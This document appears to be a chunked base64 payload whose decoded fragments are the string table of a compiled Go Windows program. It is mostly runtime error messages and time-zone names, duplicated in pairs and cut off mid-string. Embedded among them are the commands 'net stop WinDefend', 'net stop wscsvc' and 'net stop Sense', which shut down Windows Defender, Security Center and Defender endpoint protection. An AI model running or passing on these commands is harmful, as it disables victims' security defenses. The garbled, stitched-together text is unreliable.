BhZGRyZXNzIHJlcXVpcmVkcHJvdG9jb2wgZHJpdmVyIG5vdCBhba:T554,bG9jazogbG9jayBjb3VudGJhZCBzeXN0ZW0gaHVnZSBwYWdlIHNpemVhcmVuYSBhbHJlYWR5IGluaXRpYWxpemVkIHRvIHVudXNlZCByZWdpb24gb2Ygc3BhbiBieXRlcyBmYWlsZWQgd2l0aCBlcnJubz1ydW50aW1lOiBWaXJ0dWFsQWxsb2Mgb2YgL3NjaGVkL2dvbWF4cHJvY3M6dGhyZWFkc21pc3NpbmcgdHlwZSBpbiBmaW5hbGl6ZXJyZW1haW5pbmcgcG9pbnRlciBidWZmZXJzc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZV9jZ29fdGhyZWFkX3N0YXJ0IG1pc3NpbmdhbGxnYWRkOiBiYWQgc3RhdHVzIEdpZGxlcnVudGltZTogcHJvZ3JhbSBleGNlZWRzIHN0YXJ0bTogcCBoYXMgcnVubmFibGUgZ3NzdG9wbG9ja2VkbTogbm90IHJ1bm5hYmxlcmVsZWFzZXA6IGludmFsaWQgcCBzdGF0ZWNoZWNrZGVhZDogbm8gcCBmb3IgdGltZXJjaGVja2RlYWQ6IG5vIG0gZm9yIHRpbWVydW5rbm93biBzaWd0cmFtcCBjYWxsYmFja3VuZXhwZWN0ZWQgZmF1bHQgYWRkcmVzcyBtaXNzaW5nIHN0YWNrIGluIG5ld3N0YWNrYmFkIHN0YXR1cyBpbiBzaHJpbmtzdGFja21pc3NpbmcgdHJhY2VHQ1N3ZWVwU3RhcnRyZXNvdXJjZSBkZWFkbG9jayBhdm9pZGVkb3BlcmF0aW9uIG5vdyBpbiBwcm9ncmVzc25vIGJ1ZmZlciBzcGFjZSBhdmFpbGFibGVubyBzdWNoIGRldmljZSBvciBhZGRyZXNzc29ja2V0IHR5cGUgbm90IHN1cHBvcnRlZGludmFsaWQgY3Jvc3MtZGV2aWNlIGxpbmtHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZWluY29uc2lzdGVudCBwb2xsLmZkTXV0ZXh1bmV4cGVjdGVkIGtleSB2YWx1ZSB0eXBlRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzV2hhc2ggb2YgdW5oYXNoYWJsZSB0eXBlOiBHT0RFQlVHOiBjYW4gbm90IGVuYWJsZSAiR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVTb3V0aCBBZnJpY2EgU3RhbmRhcmQgVGltZVNhaW50IFBpZXJyZSBTdGFuZGFyZCBUaW1lTmV3Zm91bmRsYW5kIFN0YW5kYXJkIFRpbWVDZW50cmFsIEFzaWEgU3RhbmRhcmQgVGltZUVrbb:T558,bG9jazogbG9jayBjb3VudGJhZCBzeXN0ZW0gaHVnZSBwYWdlIHNpemVhcmVuYSBhbHJlYWR5IGluaXRpYWxpemVkIHRvIHVudXNlZCByZWdpb24gb2Ygc3BhbiBieXRlcyBmYWlsZWQgd2l0aCBlcnJubz1ydW50aW1lOiBWaXJ0dWFsQWxsb2Mgb2YgL3NjaGVkL2dvbWF4cHJvY3M6dGhyZWFkc21pc3NpbmcgdHlwZSBpbiBmaW5hbGl6ZXJyZW1haW5pbmcgcG9pbnRlciBidWZmZXJzc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZV9jZ29fdGhyZWFkX3N0YXJ0IG1pc3NpbmdhbGxnYWRkOiBiYWQgc3RhdHVzIEdpZGxlcnVudGltZTogcHJvZ3JhbSBleGNlZWRzIHN0YXJ0bTogcCBoYXMgcnVubmFibGUgZ3NzdG9wbG9ja2VkbTogbm90IHJ1bm5hYmxlcmVsZWFzZXA6IGludmFsaWQgcCBzdGF0ZWNoZWNrZGVhZDogbm8gcCBmb3IgdGltZXJjaGVja2RlYWQ6IG5vIG0gZm9yIHRpbWVydW5rbm93biBzaWd0cmFtcCBjYWxsYmFja3VuZXhwZWN0ZWQgZmF1bHQgYWRkcmVzcyBtaXNzaW5nIHN0YWNrIGluIG5ld3N0YWNrYmFkIHN0YXR1cyBpbiBzaHJpbmtzdGFja21pc3NpbmcgdHJhY2VHQ1N3ZWVwU3RhcnRyZXNvdXJjZSBkZWFkbG9jayBhdm9pZGVkb3BlcmF0aW9uIG5vdyBpbiBwcm9ncmVzc25vIGJ1ZmZlciBzcGFjZSBhdmFpbGFibGVubyBzdWNoIGRldmljZSBvciBhZGRyZXNzc29ja2V0IHR5cGUgbm90IHN1cHBvcnRlZGludmFsaWQgY3Jvc3MtZGV2aWNlIGxpbmtHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZWluY29uc2lzdGVudCBwb2xsLmZkTXV0ZXh1bmV4cGVjdGVkIGtleSB2YWx1ZSB0eXBlRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzV2hhc2ggb2YgdW5oYXNoYWJsZSB0eXBlOiBHT0RFQlVHOiBjYW4gbm90IGVuYWJsZSAiR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVTb3V0aCBBZnJpY2EgU3RhbmRhcmQgVGltZVNhaW50IFBpZXJyZSBTdGFuZGFyZCBUaW1lTmV3Zm91bmRsYW5kIFN0YW5kYXJkIFRpbWVDZW50cmFsIEFzaWEgU3RhbmRhcmQgVGltZUVrYQ==bc:T554,bG9jazogc2xlZXBpbmcgd2hpbGUgbG9jayBpcyBhdmFpbGFibGVQIGhhcyBjYWNoZWQgR0Mgd29yayBhdCBlbmQgb2YgbWFyayB0ZXJtaW5hdGlvbmZhaWxlZCB0byBhY3F1aXJlIGxvY2sgdG8gc3RhcnQgYSBHQyB0cmFuc2l0aW9uZmluaXNoR0NUcmFuc2l0aW9uIGNhbGxlZCB3aXRob3V0IHN0YXJ0aW5nIG9uZT90cmllZCB0byBzbGVlcCBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IENyZWF0ZUlvQ29tcGxldGlvblBvcnQgZmFpbGVkIChlcnJubz0gcmFjeSBzdWRvZyBhZGp1c3RtZW50IGR1ZSB0byBwYXJraW5nIG9uIGNoYW5uZWxmdW5jdGlvbiBzeW1ib2wgdGFibGUgbm90IHNvcnRlZCBieSBQQyBvZmZzZXQ6IGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgZ29yb3V0aW5lYXR0ZW1wdGluZyB0byBsaW5rIGluIHRvbyBtYW55IHNoYXJlZCBsaWJyYXJpZXNzdHJjb252OiBpbGxlZ2FsIEFwcGVuZEZsb2F0L0Zvcm1hdEZsb2F0IGJpdFNpemVub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDY0Yml0UG93MTBzbGljZSBib3VuZHMgb3V0IG9mIHJhbmdlIFs6JXhdIHdpdGggY2FwYWNpdHkgJXkgIGlzIHJlYWNoYWJsZSBmcm9tIGNsZWFudXAgb3IgY2xlYW51cCBhcmd1bWVudHJ1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3QgdW5leHBlY3RlZDsgcmVzdWx0PUNyZWF0ZVdhaXRhYmxlVGltZXJFeCB3aGVuIGNyZWF0aW5nIHRpbWVyIGZhaWxlZHJ1bnRpbWUucHJlZW1wdE06IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IG1hbGZvcm1lZCBwcm9mQnVmIGJ1ZmZlciAtIGludmFsaWQgc2l6ZXJ1bnRpbWU6IHRhZ2dlZFBvaW50ZXJQYWNrIGludmFsaWQgcGFja2luZzogcHRyPWF0dGVtcHQgdG8gdHJhY2UgaW52YWxpZCBvciB1bnN1cHBvcnRlZCBQIHN0YXR1c3J1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3Qgd2FpdF9mYWlsZWQ7IGVycm5vPW5ldCBzdG9wIFdpbkRlZmVuZDtuZXQgc3RvcCB3c2NzdmM=bd:T554,bG9jazogc2xlZXBpbmcgd2hpbGUgbG9jayBpcyBhdmFpbGFibGVQIGhhcyBjYWNoZWQgR0Mgd29yayBhdCBlbmQgb2YgbWFyayB0ZXJtaW5hdGlvbmZhaWxlZCB0byBhY3F1aXJlIGxvY2sgdG8gc3RhcnQgYSBHQyB0cmFuc2l0aW9uZmluaXNoR0NUcmFuc2l0aW9uIGNhbGxlZCB3aXRob3V0IHN0YXJ0aW5nIG9uZT90cmllZCB0byBzbGVlcCBzY2F2ZW5nZXIgZnJvbSBhbm90aGVyIGdvcm91dGluZXJ1bnRpbWU6IENyZWF0ZUlvQ29tcGxldGlvblBvcnQgZmFpbGVkIChlcnJubz0gcmFjeSBzdWRvZyBhZGp1c3RtZW50IGR1ZSB0byBwYXJraW5nIG9uIGNoYW5uZWxmdW5jdGlvbiBzeW1ib2wgdGFibGUgbm90IHNvcnRlZCBieSBQQyBvZmZzZXQ6IGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgZ29yb3V0aW5lYXR0ZW1wdGluZyB0byBsaW5rIGluIHRvbyBtYW55IHNoYXJlZCBsaWJyYXJpZXNzdHJjb252OiBpbGxlZ2FsIEFwcGVuZEZsb2F0L0Zvcm1hdEZsb2F0IGJpdFNpemVub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDY0Yml0UG93MTBzbGljZSBib3VuZHMgb3V0IG9mIHJhbmdlIFs6JXhdIHdpdGggY2FwYWNpdHkgJXkgIGlzIHJlYWNoYWJsZSBmcm9tIGNsZWFudXAgb3IgY2xlYW51cCBhcmd1bWVudHJ1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3QgdW5leHBlY3RlZDsgcmVzdWx0PUNyZWF0ZVdhaXRhYmxlVGltZXJFeCB3aGVuIGNyZWF0aW5nIHRpbWVyIGZhaWxlZHJ1bnRpbWUucHJlZW1wdE06IGR1cGxpY2F0ZWhhbmRsZSBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IG1hbGZvcm1lZCBwcm9mQnVmIGJ1ZmZlciAtIGludmFsaWQgc2l6ZXJ1bnRpbWU6IHRhZ2dlZFBvaW50ZXJQYWNrIGludmFsaWQgcGFja2luZzogcHRyPWF0dGVtcHQgdG8gdHJhY2UgaW52YWxpZCBvciB1bnN1cHBvcnRlZCBQIHN0YXR1c3J1bnRpbWU6IHdhaXRmb3JzaW5nbGVvYmplY3Qgd2FpdF9mYWlsZWQ7IGVycm5vPW5ldCBzdG9wIFdpbkRlZmVuZDtuZXQgc3RvcCB3c2NzdmM7be:T554,bWFwcnVudGltZTogYmFkIGcgaW4gY2dvY2FsbGJhY2sgKHR5cGVzIGZyb20gZGlmZmVyZW50IHNjb3Blcylub3RldHNsZWVwIC0gd2FpdG0gb3V0IG9mIHN5bmNmYWlsZWQgdG8gZ2V0IHN5c3RlbSBwYWdlIHNpemVydW50aW1lOiBmb3VuZCBpbiBvYmplY3QgYXQgKiggaW4gcHJlcGFyZUZvclN3ZWVwOyBzd2VlcGdlbiAgIGlzIHJlYWNoYWJsZSBmcm9tIGZpbmFsaXplci9jcHUvY2xhc3Nlcy90b3RhbDpjcHUtc2Vjb25kcy9nYy9jeWNsZXMvYXV0b21hdGljOmdjLWN5Y2xlcy9zY2hlZC9wYXVzZXMvdG90YWwvZ2M6c2Vjb25kcy9zeW5jL211dGV4L3dhaXQvdG90YWw6c2Vjb25kcy9nb2RlYnVnL25vbi1kZWZhdWx0LWJlaGF2aW9yL2JjcnlwdHByaW1pdGl2ZXMuZGxsIG5vdCBmb3VuZHBhbmljIGNhbGxlZCB3aXRoIG5pbCBhcmd1bWVudGNoZWNrZGVhZDogaW5jb25zaXN0ZW50IGNvdW50c3J1bnFwdXRzbG93OiBxdWV1ZSBpcyBub3QgZnVsbHJ1bnRpbWU6IGJhZCBwb2ludGVyIGluIGZyYW1lIGludmFsaWQgcG9pbnRlciBmb3VuZCBvbiBzdGFjayBsb2NhbHMgc3RhY2sgbWFwIGVudHJpZXMgZm9yIGFiaSBtaXNtYXRjaCBkZXRlY3RlZCBiZXR3ZWVuIHJ1bnRpbWU6IGltcG9zc2libGUgdHlwZSBraW5kIHVuc2FmZS5TbGljZTogbGVuIG91dCBvZiByYW5nZXNvY2tldCBvcGVyYXRpb24gb24gbm9uLXNvY2tldGluYXBwcm9wcmlhdGUgaW9jdGwgZm9yIGRldmljZXByb3RvY29sIHdyb25nIHR5cGUgZm9yIHNvY2tldHJlZmxlY3Q6IExlbiBvZiBub24tYXJyYXkgdHlwZXN5bmM6IGluY29uc2lzdGVudCBtdXRleCBzdGF0ZXN5bmM6IHVubG9jayBvZiB1bmxvY2tlZCBtdXRleEdPREVCVUc6IHVua25vd24gY3B1IGZlYXR1cmUgImZtdDogdW5rbm93biBiYXNlOyBjYW4ndCBoYXBwZW5XLiBDZW50cmFsIEFmcmljYSBTdGFuZGFyZCBUaW1lQ2VudHJhbCBCcmF6aWxpYW4gU3RhbmRhcmQgVGltZU1vdW50YWluIFN0YW5kYXJkIFRpbWUgKE1leGljbykxMTM2ODY4Mzc3MjE2MTYwMjk3MzkzNzk4OA==bf:T554,bWFwcnVudGltZTogYmFkIGcgaW4gY2dvY2FsbGJhY2sgKHR5cGVzIGZyb20gZGlmZmVyZW50IHNjb3Blcylub3RldHNsZWVwIC0gd2FpdG0gb3V0IG9mIHN5bmNmYWlsZWQgdG8gZ2V0IHN5c3RlbSBwYWdlIHNpemVydW50aW1lOiBmb3VuZCBpbiBvYmplY3QgYXQgKiggaW4gcHJlcGFyZUZvclN3ZWVwOyBzd2VlcGdlbiAgIGlzIHJlYWNoYWJsZSBmcm9tIGZpbmFsaXplci9jcHUvY2xhc3Nlcy90b3RhbDpjcHUtc2Vjb25kcy9nYy9jeWNsZXMvYXV0b21hdGljOmdjLWN5Y2xlcy9zY2hlZC9wYXVzZXMvdG90YWwvZ2M6c2Vjb25kcy9zeW5jL211dGV4L3dhaXQvdG90YWw6c2Vjb25kcy9nb2RlYnVnL25vbi1kZWZhdWx0LWJlaGF2aW9yL2JjcnlwdHByaW1pdGl2ZXMuZGxsIG5vdCBmb3VuZHBhbmljIGNhbGxlZCB3aXRoIG5pbCBhcmd1bWVudGNoZWNrZGVhZDogaW5jb25zaXN0ZW50IGNvdW50c3J1bnFwdXRzbG93OiBxdWV1ZSBpcyBub3QgZnVsbHJ1bnRpbWU6IGJhZCBwb2ludGVyIGluIGZyYW1lIGludmFsaWQgcG9pbnRlciBmb3VuZCBvbiBzdGFjayBsb2NhbHMgc3RhY2sgbWFwIGVudHJpZXMgZm9yIGFiaSBtaXNtYXRjaCBkZXRlY3RlZCBiZXR3ZWVuIHJ1bnRpbWU6IGltcG9zc2libGUgdHlwZSBraW5kIHVuc2FmZS5TbGljZTogbGVuIG91dCBvZiByYW5nZXNvY2tldCBvcGVyYXRpb24gb24gbm9uLXNvY2tldGluYXBwcm9wcmlhdGUgaW9jdGwgZm9yIGRldmljZXByb3RvY29sIHdyb25nIHR5cGUgZm9yIHNvY2tldHJlZmxlY3Q6IExlbiBvZiBub24tYXJyYXkgdHlwZXN5bmM6IGluY29uc2lzdGVudCBtdXRleCBzdGF0ZXN5bmM6IHVubG9jayBvZiB1bmxvY2tlZCBtdXRleEdPREVCVUc6IHVua25vd24gY3B1IGZlYXR1cmUgImZtdDogdW5rbm93biBiYXNlOyBjYW4ndCBoYXBwZW5XLiBDZW50cmFsIEFmcmljYSBTdGFuZGFyZCBUaW1lQ2VudHJhbCBCcmF6aWxpYW4gU3RhbmRhcmQgVGltZU1vdW50YWluIFN0YW5kYXJkIFRpbWUgKE1leGljbykxMTM2ODY4Mzc3MjE2MTYwMjk3MzkzNzk4ODI=c0:T554,bWU6IGdldGc6ICBnPWZvckVhY2hQOiBub3QgZG9uZSBpbiBhc3luYyBwcmVlbXB0YmFkIG1hbnVhbEZyZWVMaXN0cnVudGltZTogdGV4dEFkZHIgIGZyYW1lcyBlbGlkZWQuLi4sIGxvY2tlZCB0byB0aHJlYWQsIHN5bmN0ZXN0IGJ1YmJsZSBydW50aW1lLnNlbWFjcmVhdGVydW50aW1lLnNlbWF3YWtldXBzZWdtZW50YXRpb24gZmF1bHRvcGVyYXRpb24gY2FuY2VsZWRubyBjaGlsZCBwcm9jZXNzZXNjb25uZWN0aW9uIHJlZnVzZWRSRlMgc3BlY2lmaWMgZXJyb3JpZGVudGlmaWVyIHJlbW92ZWRpbnB1dC9vdXRwdXQgZXJyb3JtdWx0aWhvcCBhdHRlbXB0ZWRmaWxlIG5hbWUgdG9vIGxvbmdubyBsb2NrcyBhdmFpbGFibGVzdHJlYW1zIHBpcGUgZXJyb3JMb29rdXBBY2NvdW50TmFtZVdDcmVhdGVGaWxlTWFwcGluZ1dHZXRGaWxlQXR0cmlidXRlc1dTZXRGaWxlQXR0cmlidXRlc1dDb21tYW5kTGluZVRvQXJndld1c2Ugb2YgY2xvc2VkIGZpbGV4NTA5bmVnYXRpdmVzZXJpYWxyZWZsZWN0LlZhbHVlLklzTmlscmVmbGVjdC5WYWx1ZS5GbG9hdFdhaXRGb3JTaW5nbGVPYmplY3RHZXRGaWxlQXR0cmlidXRlc0V4ZXhlYzogY2FuY2VsaW5nIENtZEVneXB0IFN0YW5kYXJkIFRpbWVTdWRhbiBTdGFuZGFyZCBUaW1lTGlieWEgU3RhbmRhcmQgVGltZUJhaGlhIFN0YW5kYXJkIFRpbWVIYWl0aSBTdGFuZGFyZCBUaW1lWXVrb24gU3RhbmRhcmQgVGltZUFsdGFpIFN0YW5kYXJkIFRpbWVJbmRpYSBTdGFuZGFyZCBUaW1lU3lyaWEgU3RhbmRhcmQgVGltZVJ1c3NpYSBUaW1lIFpvbmUgMTFOZXBhbCBTdGFuZGFyZCBUaW1lS29yZWEgU3RhbmRhcmQgVGltZUNoaW5hIFN0YW5kYXJkIFRpbWVSdXNzaWEgVGltZSBab25lIDEwVG9reW8gU3RhbmRhcmQgVGltZVRvbXNrIFN0YW5kYXJkIFRpbWVTYW1vYSBTdGFuZGFyZCBUaW1lVG9uZ2EgU3RhbmRhcmQgVGltZTE0OTAxMTYxMTkzODQ3NjU2MjU3NDUwNTgwNTk2OTIzODI4MTI1cmVmbGVjdC5WYWx1ZS5CeXRlc3JlZmxlY3QuVmFsdWUuRmllbGRyZWZsZWN0LlZhbA==c1:T554,bWU6IGdldGc6ICBnPWZvckVhY2hQOiBub3QgZG9uZSBpbiBhc3luYyBwcmVlbXB0YmFkIG1hbnVhbEZyZWVMaXN0cnVudGltZTogdGV4dEFkZHIgIGZyYW1lcyBlbGlkZWQuLi4sIGxvY2tlZCB0byB0aHJlYWQsIHN5bmN0ZXN0IGJ1YmJsZSBydW50aW1lLnNlbWFjcmVhdGVydW50aW1lLnNlbWF3YWtldXBzZWdtZW50YXRpb24gZmF1bHRvcGVyYXRpb24gY2FuY2VsZWRubyBjaGlsZCBwcm9jZXNzZXNjb25uZWN0aW9uIHJlZnVzZWRSRlMgc3BlY2lmaWMgZXJyb3JpZGVudGlmaWVyIHJlbW92ZWRpbnB1dC9vdXRwdXQgZXJyb3JtdWx0aWhvcCBhdHRlbXB0ZWRmaWxlIG5hbWUgdG9vIGxvbmdubyBsb2NrcyBhdmFpbGFibGVzdHJlYW1zIHBpcGUgZXJyb3JMb29rdXBBY2NvdW50TmFtZVdDcmVhdGVGaWxlTWFwcGluZ1dHZXRGaWxlQXR0cmlidXRlc1dTZXRGaWxlQXR0cmlidXRlc1dDb21tYW5kTGluZVRvQXJndld1c2Ugb2YgY2xvc2VkIGZpbGV4NTA5bmVnYXRpdmVzZXJpYWxyZWZsZWN0LlZhbHVlLklzTmlscmVmbGVjdC5WYWx1ZS5GbG9hdFdhaXRGb3JTaW5nbGVPYmplY3RHZXRGaWxlQXR0cmlidXRlc0V4ZXhlYzogY2FuY2VsaW5nIENtZEVneXB0IFN0YW5kYXJkIFRpbWVTdWRhbiBTdGFuZGFyZCBUaW1lTGlieWEgU3RhbmRhcmQgVGltZUJhaGlhIFN0YW5kYXJkIFRpbWVIYWl0aSBTdGFuZGFyZCBUaW1lWXVrb24gU3RhbmRhcmQgVGltZUFsdGFpIFN0YW5kYXJkIFRpbWVJbmRpYSBTdGFuZGFyZCBUaW1lU3lyaWEgU3RhbmRhcmQgVGltZVJ1c3NpYSBUaW1lIFpvbmUgMTFOZXBhbCBTdGFuZGFyZCBUaW1lS29yZWEgU3RhbmRhcmQgVGltZUNoaW5hIFN0YW5kYXJkIFRpbWVSdXNzaWEgVGltZSBab25lIDEwVG9reW8gU3RhbmRhcmQgVGltZVRvbXNrIFN0YW5kYXJkIFRpbWVTYW1vYSBTdGFuZGFyZCBUaW1lVG9uZ2EgU3RhbmRhcmQgVGltZTE0OTAxMTYxMTkzODQ3NjU2MjU3NDUwNTgwNTk2OTIzODI4MTI1cmVmbGVjdC5WYWx1ZS5CeXRlc3JlZmxlY3QuVmFsdWUuRmllbGRyZWZsZWN0LlZhbHU=c2:T554,bXN0YXJ0bSBub3QgZm91bmQgaW4gYWxsbXN0b3BtIGhvbGRpbmcgbG9ja3NzZW1hUm9vdCByb3RhdGVMZWZ0YmFkIG5vdGlmeUxpc3Qgc2l6ZXJ1bnRpbWU6IHByZWVtcHQgZzBydW50aW1lOiBwY2RhdGEgaXMgYmFkIEFCSSBkZXNjcmlwdGlvbmlsbGVnYWwgaW5zdHJ1Y3Rpb25iYWQgZmlsZSBkZXNjcmlwdG9yZGlzayBxdW90YSBleGNlZWRlZHRvbyBtYW55IG9wZW4gZmlsZXNkZXZpY2Ugbm90IGEgc3RyZWFtZGlyZWN0b3J5IG5vdCBlbXB0eUNyeXB0UmVsZWFzZUNvbnRleHRHZXRUb2tlbkluZm9ybWF0aW9uQ3JlYXRlU3ltYm9saWNMaW5rV0dldEN1cnJlbnRQcm9jZXNzSWRmaWxlIGFscmVhZHkgZXhpc3RzZmlsZSBkb2VzIG5vdCBleGlzdGZpbGUgYWxyZWFkeSBjbG9zZWRlbWJlZGZvbGxvd3N5bWxpbmtzZ290ZXN0anNvbmJ1aWxkdGV4dG11bHRpcGFydG1heGhlYWRlcnNKb3JkYW4gU3RhbmRhcmQgVGltZUFyYWJpYyBTdGFuZGFyZCBUaW1lSXNyYWVsIFN0YW5kYXJkIFRpbWVUYWlwZWkgU3RhbmRhcmQgVGltZUF6b3JlcyBTdGFuZGFyZCBUaW1lVHVya2V5IFN0YW5kYXJkIFRpbWVpbnZhbGlkIHdyaXRlIHJlc3VsdDM3MjUyOTAyOTg0NjE5MTQwNjI1R2V0QWRhcHRlcnNBZGRyZXNzZXNOdFNldEluZm9ybWF0aW9uRmlsZVJ0bElzRG9zRGV2aWNlTmFtZV9VR2V0UHJvY2Vzc01lbW9yeUluZm9iY3J5cHRwcmltaXRpdmVzLmRsbGZsb2F0aW5nIHBvaW50IGVycm9yR0Mgc3dlZXAgdGVybWluYXRpb25SZXNldERlYnVnTG9nICh0ZXN0KWNoYW4gc2VuZCAobmlsIGNoYW4pZmx1c2hpbmcgcHJvYyBjYWNoZXNjbG9zZSBvZiBuaWwgY2hhbm5lbGluY29uc2lzdGVudCBsb2NrZWRtbm90ZXRzbGVlcCBub3Qgb24gZzBiYWQgc3lzdGVtIHBhZ2Ugc2l6ZSB0byB1bmFsbG9jYXRlZCBzcGFuL2djL3NjYW4vc3RhY2s6Ynl0ZXMvZ2Mvc2Nhbi90b3RhbDpieXRlcy9nYy9oZWFwL2ZyZWVzOmJ5dGVzL2djL2dvbWVtbGltaXQ6Ynl0ZXNwIG1jYWNoZSBub3QgZmx1c2hlZCBtYXJrcm9vdCBqb2JzIGRvbmU=c3:T554,bXN0YXJ0bSBub3QgZm91bmQgaW4gYWxsbXN0b3BtIGhvbGRpbmcgbG9ja3NzZW1hUm9vdCByb3RhdGVMZWZ0YmFkIG5vdGlmeUxpc3Qgc2l6ZXJ1bnRpbWU6IHByZWVtcHQgZzBydW50aW1lOiBwY2RhdGEgaXMgYmFkIEFCSSBkZXNjcmlwdGlvbmlsbGVnYWwgaW5zdHJ1Y3Rpb25iYWQgZmlsZSBkZXNjcmlwdG9yZGlzayBxdW90YSBleGNlZWRlZHRvbyBtYW55IG9wZW4gZmlsZXNkZXZpY2Ugbm90IGEgc3RyZWFtZGlyZWN0b3J5IG5vdCBlbXB0eUNyeXB0UmVsZWFzZUNvbnRleHRHZXRUb2tlbkluZm9ybWF0aW9uQ3JlYXRlU3ltYm9saWNMaW5rV0dldEN1cnJlbnRQcm9jZXNzSWRmaWxlIGFscmVhZHkgZXhpc3RzZmlsZSBkb2VzIG5vdCBleGlzdGZpbGUgYWxyZWFkeSBjbG9zZWRlbWJlZGZvbGxvd3N5bWxpbmtzZ290ZXN0anNvbmJ1aWxkdGV4dG11bHRpcGFydG1heGhlYWRlcnNKb3JkYW4gU3RhbmRhcmQgVGltZUFyYWJpYyBTdGFuZGFyZCBUaW1lSXNyYWVsIFN0YW5kYXJkIFRpbWVUYWlwZWkgU3RhbmRhcmQgVGltZUF6b3JlcyBTdGFuZGFyZCBUaW1lVHVya2V5IFN0YW5kYXJkIFRpbWVpbnZhbGlkIHdyaXRlIHJlc3VsdDM3MjUyOTAyOTg0NjE5MTQwNjI1R2V0QWRhcHRlcnNBZGRyZXNzZXNOdFNldEluZm9ybWF0aW9uRmlsZVJ0bElzRG9zRGV2aWNlTmFtZV9VR2V0UHJvY2Vzc01lbW9yeUluZm9iY3J5cHRwcmltaXRpdmVzLmRsbGZsb2F0aW5nIHBvaW50IGVycm9yR0Mgc3dlZXAgdGVybWluYXRpb25SZXNldERlYnVnTG9nICh0ZXN0KWNoYW4gc2VuZCAobmlsIGNoYW4pZmx1c2hpbmcgcHJvYyBjYWNoZXNjbG9zZSBvZiBuaWwgY2hhbm5lbGluY29uc2lzdGVudCBsb2NrZWRtbm90ZXRzbGVlcCBub3Qgb24gZzBiYWQgc3lzdGVtIHBhZ2Ugc2l6ZSB0byB1bmFsbG9jYXRlZCBzcGFuL2djL3NjYW4vc3RhY2s6Ynl0ZXMvZ2Mvc2Nhbi90b3RhbDpieXRlcy9nYy9oZWFwL2ZyZWVzOmJ5dGVzL2djL2dvbWVtbGltaXQ6Ynl0ZXNwIG1jYWNoZSBub3QgZmx1c2hlZCBtYXJrcm9vdCBqb2JzIGRvbmVwc4:T554,bmV0IHN0b3AgU2Vuc2Vub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDEyOGJpdFBvdzEwc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF0gd2l0aCBjYXBhY2l0eSAleWludmFsaWQgbWVtb3J5IGFkZHJlc3Mgb3IgbmlsIHBvaW50ZXIgZGVyZWZlcmVuY2VwYW5pY3dyYXA6IHVuZXhwZWN0ZWQgc3RyaW5nIGFmdGVyIHBhY2thZ2UgbmFtZTogcnVudGltZTogdW5leHBlY3RlZCB3YWl0bSAtIHNlbWFwaG9yZSBvdXQgb2Ygc3luY3MuYWxsb2NDb3VudCAhPSBzLm5lbGVtcyAmJiBmcmVlSW5kZXggPT0gcy5uZWxlbXNzd2VlcGVyIGxlZnQgb3V0c3RhbmRpbmcgYWNyb3NzIHN3ZWVwIGdlbmVyYXRpb25zZnVsbHkgZW1wdHkgdW5mcmVlZCBzcGFuIHNldCBibG9jayBmb3VuZCBpbiByZXNldGNhc2dzdGF0dXM6IHdhaXRpbmcgZm9yIEd3YWl0aW5nIGJ1dCBpcyBHcnVubmFibGVpbnZhbGlkIG9yIGluY29tcGxldGUgbXVsdGlieXRlIG9yIHdpZGUgY2hhcmFjdGVycnVudGltZTogdW5hYmxlIHRvIGFjcXVpcmUgLSBzZW1hcGhvcmUgb3V0IG9mIHN5bmNtYWxsb2NnYyBjYWxsZWQgd2l0aCBnY3BoYXNlID09IF9HQ21hcmt0ZXJtaW5hdGlvbnJ1bnRpbWUuUGlubmVyOiBvYmplY3Qgd2FzIGFsbG9jYXRlZCBpbnRvIGFuIGFyZW5hcnVudGltZS5QaW5uZXI6IGRlY3JlYXNlZCBub24tZXhpc3RpbmcgcGluIGNvdW50ZXJyZWN1cnNpdmUgY2FsbCBkdXJpbmcgaW5pdGlhbGl6YXRpb24gLSBsaW5rZXIgc2tld2F0dGVtcHQgdG8gZXhlY3V0ZSBzeXN0ZW0gc3RhY2sgY29kZSBvbiB1c2VyIHN0YWNrY29tcGlsZUNhbGxiYWNrOiBmdW5jdGlvbiBhcmd1bWVudCBmcmFtZSB0b28gbGFyZ2VpbnRlcm5hbCBlcnJvcjogdG9vIG1hbnkgcmVsZWFzZXMgb2YgcHJvY2VzcyBoYW5kbGVsaW1pdGVyRXZlbnQuc3RvcDogaW52YWxpZCBsaW1pdGVyIGV2ZW50IHR5cGUgZm91bmRwb3RlbnRpYWxseSBvdmVybGFwcGluZyBpbi11c2UgYWxsb2NhdGlvbnMgZGV0ZWN0ZWRydW50aW1lOiBuZXRwb2xsc5:T558,bmV0IHN0b3AgU2Vuc2Vub3QgZW5vdWdoIHNpZ25pZmljYW50IGJpdHMgYWZ0ZXIgbXVsdDEyOGJpdFBvdzEwc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF0gd2l0aCBjYXBhY2l0eSAleWludmFsaWQgbWVtb3J5IGFkZHJlc3Mgb3IgbmlsIHBvaW50ZXIgZGVyZWZlcmVuY2VwYW5pY3dyYXA6IHVuZXhwZWN0ZWQgc3RyaW5nIGFmdGVyIHBhY2thZ2UgbmFtZTogcnVudGltZTogdW5leHBlY3RlZCB3YWl0bSAtIHNlbWFwaG9yZSBvdXQgb2Ygc3luY3MuYWxsb2NDb3V